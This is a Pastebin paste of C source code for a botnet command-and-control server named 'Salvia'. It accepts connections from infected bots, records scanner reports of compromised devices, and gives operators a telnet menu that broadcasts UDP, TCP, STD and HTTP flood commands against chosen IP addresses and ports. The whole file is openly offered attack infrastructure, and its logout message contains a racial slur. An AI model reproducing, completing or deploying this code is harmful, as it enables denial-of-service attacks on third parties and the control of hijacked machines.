Advertisement
Guest User

Salvia CNC

a guest
Dec 26th, 2018
283
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.08 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <sys/types.h>
  5. #include <sys/socket.h>
  6. #include <netdb.h>
  7. #include <unistd.h>
  8. #include <time.h>
  9. #include <fcntl.h>
  10. #include <sys/epoll.h>
  11. #include <errno.h>
  12. #include <pthread.h>
  13. #include <signal.h>
  14.  
  15. #define MAXFDS 1000000
  16.  
  17. struct account {
  18. char id[20];
  19. char password[20];
  20. };
  21. static struct account accounts[999];
  22. struct clientdata_t {
  23. uint32_t ip;
  24. char build[7];
  25. char connected;
  26. } clients[MAXFDS];
  27. struct telnetdata_t {
  28. int connected;
  29. } managements[MAXFDS];
  30.  
  31. static volatile FILE *telFD;
  32. static volatile FILE *fileFD;
  33. static volatile int epollFD = 0;
  34. static volatile int listenFD = 0;
  35. static volatile int managesConnected = 0;
  36. static volatile int TELFound = 0;
  37. static volatile int scannerreport;
  38.  
  39. int fdgets(unsigned char *buffer, int bufferSize, int fd)
  40. {
  41. int total = 0, got =1;
  42. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  43. }
  44. void trim(char *str)
  45. {
  46. int i;
  47. int begin = 0;
  48. int end = strlen(str) - 1;
  49. while (isspace(str[begin])) begin++;
  50. while ((end >= begin) && isspace(str[end])) end--;
  51. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  52. str[i - begin] = '\0';
  53. }
  54. static int make_socket_non_blocking (int sfd)
  55. {
  56. int flags, s;
  57. flags = fcntl (sfd, F_GETFL, 0);
  58. if (flags == -1)
  59. {
  60. perror ("fcntl");
  61. return -1;
  62. }
  63. flags |= O_NONBLOCK;
  64. s = fcntl (sfd, F_SETFL, flags);
  65. if (s == -1)
  66. {
  67. perror ("fcntl");
  68. return -1;
  69. }
  70. return 0;
  71. }
  72. static int create_and_bind (char *port)
  73. {
  74. struct addrinfo hints;
  75. struct addrinfo *result, *rp;
  76. int s, sfd;
  77. memset (&hints, 0, sizeof (struct addrinfo));
  78. hints.ai_family = AF_UNSPEC;
  79. hints.ai_socktype = SOCK_STREAM;
  80. hints.ai_flags = AI_PASSIVE;
  81. s = getaddrinfo (NULL, port, &hints, &result);
  82. if (s != 0)
  83. {
  84. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  85. return -1;
  86. }
  87. for (rp = result; rp != NULL; rp = rp->ai_next)
  88. {
  89. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  90. if (sfd == -1) continue;
  91. int yes = 1;
  92. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  93. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  94. if (s == 0)
  95. {
  96. break;
  97. }
  98. close (sfd);
  99. }
  100. if (rp == NULL)
  101. {
  102. fprintf (stderr, "STOP USING RELIVANT PORTS\n");
  103. return -1;
  104. }
  105. freeaddrinfo (result);
  106. return sfd;
  107. }
  108. void broadcast(char *msg, int us, char *sender)
  109. {
  110. int sendMGM = 1;
  111. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  112. char *wot = malloc(strlen(msg) + 10);
  113. memset(wot, 0, strlen(msg) + 10);
  114. strcpy(wot, msg);
  115. trim(wot);
  116. time_t rawtime;
  117. struct tm * timeinfo;
  118. time(&rawtime);
  119. timeinfo = localtime(&rawtime);
  120. char *timestamp = asctime(timeinfo);
  121. trim(timestamp);
  122. int i;
  123. for(i = 0; i < MAXFDS; i++)
  124. {
  125. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  126. if(sendMGM && managements[i].connected)
  127. {
  128. send(i, "\x1b[31m", 5, MSG_NOSIGNAL);
  129. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  130. send(i, ": ", 2, MSG_NOSIGNAL);
  131. }
  132. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  133. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[1;32m-> \x1b[1;31m", 13, MSG_NOSIGNAL);
  134. else send(i, "\n", 1, MSG_NOSIGNAL);
  135. }
  136. free(wot);
  137. }
  138. void *epollEventLoop(void *useless)
  139. {
  140. struct epoll_event event;
  141. struct epoll_event *events;
  142. int s;
  143. events = calloc (MAXFDS, sizeof event);
  144. while (1)
  145. {
  146. int n, i;
  147. n = epoll_wait (epollFD, events, MAXFDS, -1);
  148. for (i = 0; i < n; i++)
  149. {
  150. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN)))
  151. {
  152. clients[events[i].data.fd].connected = 0;
  153. close(events[i].data.fd);
  154. continue;
  155. }
  156. else if (listenFD == events[i].data.fd)
  157. {
  158. while (1)
  159. {
  160. struct sockaddr in_addr;
  161. socklen_t in_len;
  162. int infd, ipIndex;
  163. in_len = sizeof in_addr;
  164. infd = accept (listenFD, &in_addr, &in_len);
  165. if (infd == -1)
  166. {
  167. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  168. else
  169. {
  170. perror ("accept");
  171. break;
  172. }
  173. }
  174. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  175. int dup = 0;
  176. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++)
  177. {
  178. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  179. if(clients[ipIndex].ip == clients[infd].ip)
  180. {
  181. dup = 1;
  182. break;
  183. }
  184. }
  185. if(dup)
  186. {
  187. if(send(infd, "!* KILLDEM\n", 11, MSG_NOSIGNAL) == -1) {close(infd); continue; }
  188. if(send(infd, "!* FUCKDUPES\n", 11, MSG_NOSIGNAL) == -1) {close(infd); continue; }
  189. if(send(infd, "!* HATESKIDS\n", 11, MSG_NOSIGNAL) == -1) {close(infd); continue; }
  190. if(send(infd, "!* KADEN\n", 11, MSG_NOSIGNAL) == -1) {close(infd); continue; }
  191. if(send(infd, "!* FUCKSKIDDIES\n", 11, MSG_NOSIGNAL) == -1) {close(infd); continue; }
  192. close(infd);
  193. continue;
  194. }
  195. s = make_socket_non_blocking (infd);
  196. if (s == -1) { close(infd); break; }
  197.  
  198. event.data.fd = infd;
  199. event.events = EPOLLIN | EPOLLET;
  200. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  201. if (s == -1)
  202. {
  203. perror ("epoll_ctl");
  204. close(infd);
  205. break;
  206. }
  207.  
  208. clients[infd].connected = 1;
  209. send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  210. send(infd, "!* PHONES ON\n", 11, MSG_NOSIGNAL);
  211.  
  212. }
  213. continue;
  214. }
  215. else
  216. {
  217. int thefd = events[i].data.fd;
  218. struct clientdata_t *client = &(clients[thefd]);
  219. int done = 0;
  220. client->connected = 1;
  221. while (1)
  222. {
  223. ssize_t count;
  224. char buf[2048];
  225. memset(buf, 0, sizeof buf);
  226.  
  227. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, thefd)) > 0)
  228. {
  229. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  230. trim(buf);
  231. if(strcmp(buf, "PING") == 0)
  232. {
  233. if(send(thefd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  234. continue;
  235. }
  236. if(strstr(buf, "REPORT ") == buf)
  237. {
  238. char *line = strstr(buf, "REPORT ") + 7;
  239. fprintf(telFD, "%s\n", line);
  240. fflush(telFD);
  241. TELFound++;
  242. continue;
  243. }
  244. if(strstr(buf, "PROBING") == buf)
  245. {
  246. char *line = strstr(buf, "PROBING");
  247. scannerreport = 1;
  248. continue;
  249. }
  250. if(strstr(buf, "REMOVING PROBE") == buf)
  251. {
  252. char *line = strstr(buf, "REMOVING PROBE");
  253. scannerreport = 0;
  254. continue;
  255. }
  256. if(strcmp(buf, "PONG") == 0)
  257. {
  258. continue;
  259. }
  260.  
  261. printf("buf: \"%s\"\n", buf);
  262. }
  263.  
  264. if (count == -1)
  265. {
  266. if (errno != EAGAIN)
  267. {
  268. done = 1;
  269. }
  270. break;
  271. }
  272. else if (count == 0)
  273. {
  274. done = 1;
  275. break;
  276. }
  277. }
  278.  
  279. if (done)
  280. {
  281. client->connected = 0;
  282. close(thefd);
  283. }
  284. }
  285. }
  286. }
  287. }
  288. unsigned int clientsConnected()
  289. {
  290. int i = 0, total = 0;
  291. for(i = 0; i < MAXFDS; i++)
  292. {
  293. if(!clients[i].connected) continue;
  294. total++;
  295. }
  296.  
  297. return total;
  298. }
  299. void *titleWriter(void *sock)
  300. {
  301. int thefd = (int)sock;
  302. char string[2048];
  303. while(1)
  304. {
  305. memset(string, 0, 2048);
  306. sprintf(string, "%c]0; Grams: %d | Users: %d %c", '\033', clientsConnected(), managesConnected, '\007');
  307. if(send(thefd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  308.  
  309. sleep(3);
  310. }
  311. }
  312. int Search_in_File(char *str)
  313. {
  314. FILE *fp;
  315. int line_num = 0;
  316. int find_result = 0, find_line=0;
  317. char temp[512];
  318.  
  319. if((fp = fopen("login.txt", "r")) == NULL){
  320. return(-1);
  321. }
  322. while(fgets(temp, 512, fp) != NULL){
  323. if((strstr(temp, str)) != NULL){
  324. find_result++;
  325. find_line = line_num;
  326. }
  327. line_num++;
  328. }
  329. if(fp)
  330. fclose(fp);
  331.  
  332. if(find_result == 0)return 0;
  333.  
  334. return find_line;
  335. }
  336. void *telnetWorker(void *sock)
  337. {
  338. char usernamez[80];
  339. int thefd = (int)sock;
  340. int find_line;
  341. managesConnected++;
  342. pthread_t title;
  343. char counter[2048];
  344. memset(counter, 0, 2048);
  345. char buf[2048];
  346. char* nickstring;
  347. char* username;
  348. char* password;
  349. memset(buf, 0, sizeof buf);
  350. char botnet[2048];
  351. memset(botnet, 0, 2048);
  352.  
  353. FILE *fp;
  354. int i=0;
  355. int c;
  356. fp=fopen("login.txt", "r");
  357. while(!feof(fp))
  358. {
  359. c=fgetc(fp);
  360. ++i;
  361. }
  362. int j=0;
  363. rewind(fp);
  364. while(j!=i-1)
  365. {
  366. fscanf(fp, "%s %s", accounts[j].id, accounts[j].password);
  367. ++j;
  368. }
  369.  
  370. if(send(thefd, "\e[0;96mUsername:\x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  371. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  372. trim(buf);
  373. sprintf(usernamez, buf);
  374. nickstring = ("%s", buf);
  375. find_line = Search_in_File(nickstring);
  376. if(strcmp(nickstring, accounts[find_line].id) == 0){
  377. if(send(thefd, "\e[0;92m* Prepare to Trip *\r\n", 49, MSG_NOSIGNAL) == -1) goto end;
  378. if(send(thefd, "\e[0;95mPassword: \x1b[30m", 23, MSG_NOSIGNAL) == -1) goto end;
  379. if(fdgets(buf, sizeof buf, thefd) < 1) goto end;
  380. if(send(thefd, "\033[2J\033[1;1H", 14, MSG_NOSIGNAL) == -1) goto end;
  381. trim(buf);
  382. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  383. memset(buf, 0, 2048);
  384. goto fak;
  385. }
  386. failed:
  387. if(send(thefd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  388. if(send(thefd, "\x1b[31m LOL GET LOGGED \r\n", 44, MSG_NOSIGNAL) == -1) goto end;
  389. sleep(5);
  390. goto end;
  391. fak:
  392.  
  393. Title:
  394. pthread_create(&title, NULL, &titleWriter, sock);
  395. char ascii_banner_line1 [90000];
  396. char ascii_banner_line2 [90000];
  397. char ascii_banner_line3 [90000];
  398. char ascii_banner_line4 [90000];
  399. char ascii_banner_line5 [90000];
  400. char ascii_banner_line6 [90000];
  401. char ascii_banner_line7 [90000];
  402. char ascii_banner_line8 [90000];
  403. char ascii_banner_line9 [90000];
  404. char ascii_banner_line10 [90000];
  405.  
  406.  
  407. sprintf(ascii_banner_line1, "\e[0;95m ██████ ▄▄▄ ██▓ ██\e[0;92m▒ \e[0;95m█▓ ██▓ ▄▄▄ \r\n");
  408. sprintf(ascii_banner_line2, "\e[0;92m▒\e[0;95m██ \e[0;92m▒ ▒\e[0;95m████▄ ▓██\e[0;92m▒ ▓\e[0;95m██\e[0;92m░ \e[0;95m█\e[0;92m▒▓\e[0;95m██\e[0;92m▒\e[0;95m▒████▄ \r\n");
  409. sprintf(ascii_banner_line3, "\e[0;92m░ ▓\e[0;95m██▄ \e[0;92m▒\e[0;95m██ ▀█▄ \e[0;92m▒\e[0;95m██\e[0;92m░ \e[0;95m▓██ █\e[0;92m▒░▒\e[0;95m██\e[0;92m▒▒\e[0;95m██ ▀█▄ \r\n");
  410. sprintf(ascii_banner_line4, "\e[0;92m ▒\e[0;95m ██\e[0;92m▒░\e[0;95m██▄▄▄▄██ \e[0;92m▒\e[0;95m██\e[0;92m░ ▒\e[0;95m██ █\e[0;92m░░░\e[0;95m██\e[0;92m░░\e[0;95m██▄▄▄▄██ \r\n");
  411. sprintf(ascii_banner_line5, "\e[0;92m▒\e[0;95m██████\e[0;92m▒▒ \e[0;95m▓█ ▓██\e[0;92m▒░\e[0;95m██████\e[0;92m▒▒\e[0;95m▀█\e[0;92m░ ░\e[0;95m██\e[0;92m░ \e[0;95m▓█ ▓██\e[0;92m▒\r\n");
  412. sprintf(ascii_banner_line6, "\e[0;92m▒ ▒\e[0;95m▓\e[0;92m▒ ▒ ░ ▒▒ \e[0;95m▓\e[0;92m▒\e[0;95m█\e[0;92m░░ ▒░\e[0;95m▓\e[0;92m ░░ \e[0;95m▐\e[0;92m░ ░\e[0;95m▓ \e[0;92m▒▒ \e[0;95m▓\e[0;92m▒\e[0;95m█\e[0;92m░\r\n");
  413. sprintf(ascii_banner_line7, "\e[0;92m░ ░▒ ░ ░ ▒ ▒▒ ░░ ░ ▒ ░░ ░░ ▒ ░ ▒ ▒▒ ░\r\n");
  414. sprintf(ascii_banner_line8, "\e[0;92m░ ░ ░ ░ ▒ ░ ░ ░░ ▒ ░ ░ ▒ \r\n");
  415. sprintf(ascii_banner_line9, "\e[0;92m ░ ░ ░ ░ ░ ░ ░ ░ ░\r\n");
  416. sprintf(ascii_banner_line10, "\e[0;92mTYPE HELP for your options\r\n", accounts[find_line].id, buf);
  417. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  418. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  419. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  420. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  421. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  422. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  423. if(send(thefd, ascii_banner_line7 , strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  424. if(send(thefd, ascii_banner_line8 , strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  425. if(send(thefd, ascii_banner_line9 , strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  426. if(send(thefd, ascii_banner_line10 , strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  427. while(1) {
  428. if(send(thefd, "\x1b[1;32m->\x1b[0;35m", 13, MSG_NOSIGNAL) == -1) goto end;
  429. break;
  430. }
  431. pthread_create(&title, NULL, &titleWriter, sock);
  432. managements[thefd].connected = 1;
  433. while(fdgets(buf, sizeof buf, thefd) > 0)
  434. {
  435. if(strstr(buf, "!* PHONES ON"))
  436. {
  437. sprintf(botnet, "DEM PHONES DUPIN\r\n", TELFound, scannerreport);
  438. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  439. }
  440. if(strstr(buf, "cls")) {
  441. char clearscreen [2048];
  442. memset(clearscreen, 0, 2048);
  443. sprintf(clearscreen, "\033[2J\033[1;1H");
  444. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  445. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  446. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  447. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  448. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  449. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  450. if(send(thefd, ascii_banner_line7 , strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  451. if(send(thefd, ascii_banner_line8 , strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  452. if(send(thefd, ascii_banner_line9 , strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  453. if(send(thefd, ascii_banner_line10 , strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  454. while(1) {
  455. if(send(thefd, "\x1b[1;32m->\x1b[0;35m", 12, MSG_NOSIGNAL) == -1) goto end;
  456. break;
  457. }
  458. continue;
  459. }
  460. if(strstr(buf, "CLEAR")) {
  461. char clearscreen [2048];
  462. memset(clearscreen, 0, 2048);
  463. sprintf(clearscreen, "\033[2J\033[1;1H");
  464. if(send(thefd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  465. if(send(thefd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  466. if(send(thefd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  467. if(send(thefd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  468. if(send(thefd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  469. if(send(thefd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  470. if(send(thefd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  471. if(send(thefd, ascii_banner_line7 , strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  472. if(send(thefd, ascii_banner_line8 , strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  473. if(send(thefd, ascii_banner_line9 , strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  474. if(send(thefd, ascii_banner_line10 , strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  475. while(1) {
  476. if(send(thefd, "\x1b[1;32m->\x1b[0;35m", 12, MSG_NOSIGNAL) == -1) goto end;
  477. break;
  478. }
  479. continue;
  480. }
  481. if(strstr(buf, "BOTS"))
  482. {
  483. sprintf(botnet, "Bots Connected: %d \r\n", clientsConnected(), managesConnected);
  484. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  485. }
  486. if(strstr(buf, "!* TCP"))
  487. {
  488. sprintf(botnet, "Bots FLOODING with TCP\r\n");
  489. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  490. }
  491. if(strstr(buf, "!* UDP"))
  492. {
  493. sprintf(botnet, "Bots FLOODING with UDP\r\n");
  494. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  495. }
  496. if(strstr(buf, "!* STD"))
  497. {
  498. sprintf(botnet, "Succesfully Sent A STD FLOOD\r\n");
  499. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  500. }
  501. if(strstr(buf, "!* HTTP"))
  502. {
  503. sprintf(botnet, "Bots FLOODING with HTTP\r\n");
  504. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  505. }
  506. if(strstr(buf, "!* SCANNER ON"))
  507. {
  508. sprintf(botnet, "SCANNING Bots\r\n");
  509. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  510. }
  511. if(strstr(buf, "!* SCANNER OFF"))
  512. {
  513. sprintf(botnet, "STOPPED SCANNING Bots\r\n");
  514. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  515. }
  516. if(strstr(buf, "HELP")) {
  517. pthread_create(&title, NULL, &titleWriter, sock);
  518. char help1 [80];
  519. char help2 [80];
  520.  
  521. sprintf(help1,"\x1b[35m DDOS \x1b[34m| Shows Attack Options \r\n");
  522. sprintf(help2,"\x1b[35m CLEAR Or cls \x1b[34m| CLEARS SCREEN \r\n");;
  523.  
  524. if(send(thefd, help1, strlen(help1), MSG_NOSIGNAL) == -1) goto end;
  525. if(send(thefd, help2, strlen(help2), MSG_NOSIGNAL) == -1) goto end;
  526. pthread_create(&title, NULL, &titleWriter, sock);
  527. while(1) {
  528. if(send(thefd, "\x1b[1;32m->\x1b[0;35m", 12, MSG_NOSIGNAL) == -1) goto end;
  529. break;
  530. }
  531. continue;
  532. }
  533.  
  534. if(strstr(buf, "DDOS")) {
  535. pthread_create(&title, NULL, &titleWriter, sock);
  536. char ddos1 [80];
  537. char ddos2 [80];
  538. char ddos3 [80];
  539. char ddos4 [80];
  540. char ddos5 [80];
  541.  
  542. sprintf(ddos1, "\x1b[35m!* UDP [IP] [PORT] [TIME] 32 1337 100 \x1b[34m| UDP FLOOD\r\n");
  543. sprintf(ddos2, "\x1b[35m!* STD [IP] [PORT] [TIME] \x1b[34m| STD FLOOD\r\n");
  544. sprintf(ddos3, "\x1b[35m!* TCP [IP] [PORT] [TIME] 32 all 1337 100 \x1b[34m| TCP FLOOD\r\n");
  545. sprintf(ddos4, "\x1b[35m!* HTTP GHP [IP] [PORT] / [TIME] 200 \x1b[34m| HTTP FLOOD \r\n");
  546. sprintf(ddos5, "\x1b[35m!* KILLATTK \x1b[34m| KILLS ALL ATTACKS\r\n");
  547.  
  548.  
  549.  
  550. if(send(thefd, ddos1, strlen(ddos1), MSG_NOSIGNAL) == -1) goto end;
  551. if(send(thefd, ddos2, strlen(ddos2), MSG_NOSIGNAL) == -1) goto end;
  552. if(send(thefd, ddos3, strlen(ddos3), MSG_NOSIGNAL) == -1) goto end;
  553. if(send(thefd, ddos4, strlen(ddos4), MSG_NOSIGNAL) == -1) goto end;
  554. if(send(thefd, ddos5, strlen(ddos5), MSG_NOSIGNAL) == -1) goto end;
  555. pthread_create(&title, NULL, &titleWriter, sock);
  556. while(1) {
  557. if(send(thefd, "\x1b[1;32m->\x1b[0;35m", 12, MSG_NOSIGNAL) == -1) goto end;
  558. break;
  559. }
  560. continue;
  561. }
  562. if(strstr(buf, "LOGOUT"))
  563. {
  564. sprintf(botnet, "BYE YOU NIGGER %s Bye\r\n", accounts[find_line].id, buf);
  565. if(send(thefd, botnet, strlen(botnet), MSG_NOSIGNAL) == -1) return;
  566. goto end;
  567. }
  568. if(strstr(buf, "99999999999"))
  569. {
  570. printf("ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  571. FILE *logFile;
  572. logFile = fopen("TIME.log", "a");
  573. fprintf(logFile, "ATTEMPT TO SEND MORE TIME THEN NEEDED BY %s\n", accounts[find_line].id, buf);
  574. fclose(logFile);
  575. goto end;
  576. }
  577. if(strstr(buf, "LOLNOGTFO"))
  578. {
  579. printf("ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  580. FILE *logFile;
  581. logFile = fopen("KILL.log", "a");
  582. fprintf(logFile, "ATTEMPT TO KILL BOTS BY %s\n", accounts[find_line].id, buf);
  583. fclose(logFile);
  584. goto end;
  585. }
  586. trim(buf);
  587. if(send(thefd, "\x1b[1;32m->\x1b[0;35m", 11, MSG_NOSIGNAL) == -1) goto end;
  588. if(strlen(buf) == 0) continue;
  589. printf("%s: \"%s\"\n",accounts[find_line].id, buf);
  590. FILE *logFile;
  591. logFile = fopen("report.log", "a");
  592. fprintf(logFile, "%s: \"%s\"\n",accounts[find_line].id, buf);
  593. fclose(logFile);
  594. broadcast(buf, thefd, usernamez);
  595. memset(buf, 0, 2048);
  596. }
  597.  
  598. end: // cleanup dead socket
  599. managements[thefd].connected = 0;
  600. close(thefd);
  601. managesConnected--;
  602.  
  603. }
  604.  
  605. void client_addr(struct sockaddr_in addr){
  606. printf("IP:%d.%d.%d.%d\n",
  607. addr.sin_addr.s_addr & 0xFF,
  608. (addr.sin_addr.s_addr & 0xFF00)>>8,
  609. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  610. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  611. FILE *logFile;
  612. logFile = fopen("server.log", "a");
  613. fprintf(logFile, "\nIP:%d.%d.%d.%d ",
  614. addr.sin_addr.s_addr & 0xFF,
  615. (addr.sin_addr.s_addr & 0xFF00)>>8,
  616. (addr.sin_addr.s_addr & 0xFF0000)>>16,
  617. (addr.sin_addr.s_addr & 0xFF000000)>>24);
  618. fclose(logFile);
  619. }
  620.  
  621. void *BotListener(int port)
  622. {
  623. int sockfd, newsockfd;
  624. socklen_t clilen;
  625. struct sockaddr_in serv_addr, cli_addr;
  626. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  627. if (sockfd < 0) perror("ERROR opening socket");
  628. bzero((char *) &serv_addr, sizeof(serv_addr));
  629. serv_addr.sin_family = AF_INET;
  630. serv_addr.sin_addr.s_addr = INADDR_ANY;
  631. serv_addr.sin_port = htons(port);
  632. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  633. listen(sockfd,5);
  634. clilen = sizeof(cli_addr);
  635. while(1)
  636.  
  637. { printf("\x1b[0;35mSALVIA \x1b[0;34m --> [\x1b[0;35mTook a salvia bong hit \x1b[0;31m-> ");
  638. client_addr(cli_addr);
  639. FILE *logFile;
  640. logFile = fopen("IP.log", "a");
  641. fprintf(logFile, "IP:%d.%d.%d.%d\n", cli_addr.sin_addr.s_addr & 0xFF, (cli_addr.sin_addr.s_addr & 0xFF00)>>8, (cli_addr.sin_addr.s_addr & 0xFF0000)>>16, (cli_addr.sin_addr.s_addr & 0xFF000000)>>24);
  642. fclose(logFile);
  643. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  644. if (newsockfd < 0) perror("ERROR on accept");
  645. pthread_t thread;
  646. pthread_create( &thread, NULL, &telnetWorker, (void *)newsockfd);
  647. }
  648. }
  649.  
  650. int main (int argc, char *argv[], void *sock)
  651. {
  652. signal(SIGPIPE, SIG_IGN);
  653. int s, threads, port;
  654. struct epoll_event event;
  655. if (argc != 4)
  656. {
  657. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  658. exit (EXIT_FAILURE);
  659. }
  660. port = atoi(argv[3]);
  661. printf("\x1b[0;35mCreated by Kitty\n");
  662. telFD = fopen("bots.txt", "a+");
  663. threads = atoi(argv[2]);
  664. listenFD = create_and_bind (argv[1]);
  665. if (listenFD == -1) abort ();
  666. s = make_socket_non_blocking (listenFD);
  667. if (s == -1) abort ();
  668. s = listen (listenFD, SOMAXCONN);
  669. if (s == -1)
  670. {
  671. perror ("listen");
  672. abort ();
  673. }
  674. epollFD = epoll_create1 (0);
  675. if (epollFD == -1)
  676. {
  677. perror ("epoll_create");
  678. abort ();
  679. }
  680. event.data.fd = listenFD;
  681. event.events = EPOLLIN | EPOLLET;
  682. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  683. if (s == -1)
  684. {
  685. perror ("epoll_ctl");
  686. abort ();
  687. }
  688. pthread_t thread[threads + 2];
  689. while(threads--)
  690. {
  691. pthread_create( &thread[threads + 2], NULL, &epollEventLoop, (void *) NULL);
  692. }
  693. pthread_create(&thread[0], NULL, &BotListener, port);
  694. while(1)
  695. {
  696. broadcast("PING", -1, "PURGE");
  697. sleep(60);
  698. }
  699. close (listenFD);
  700. return EXIT_SUCCESS;
  701. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement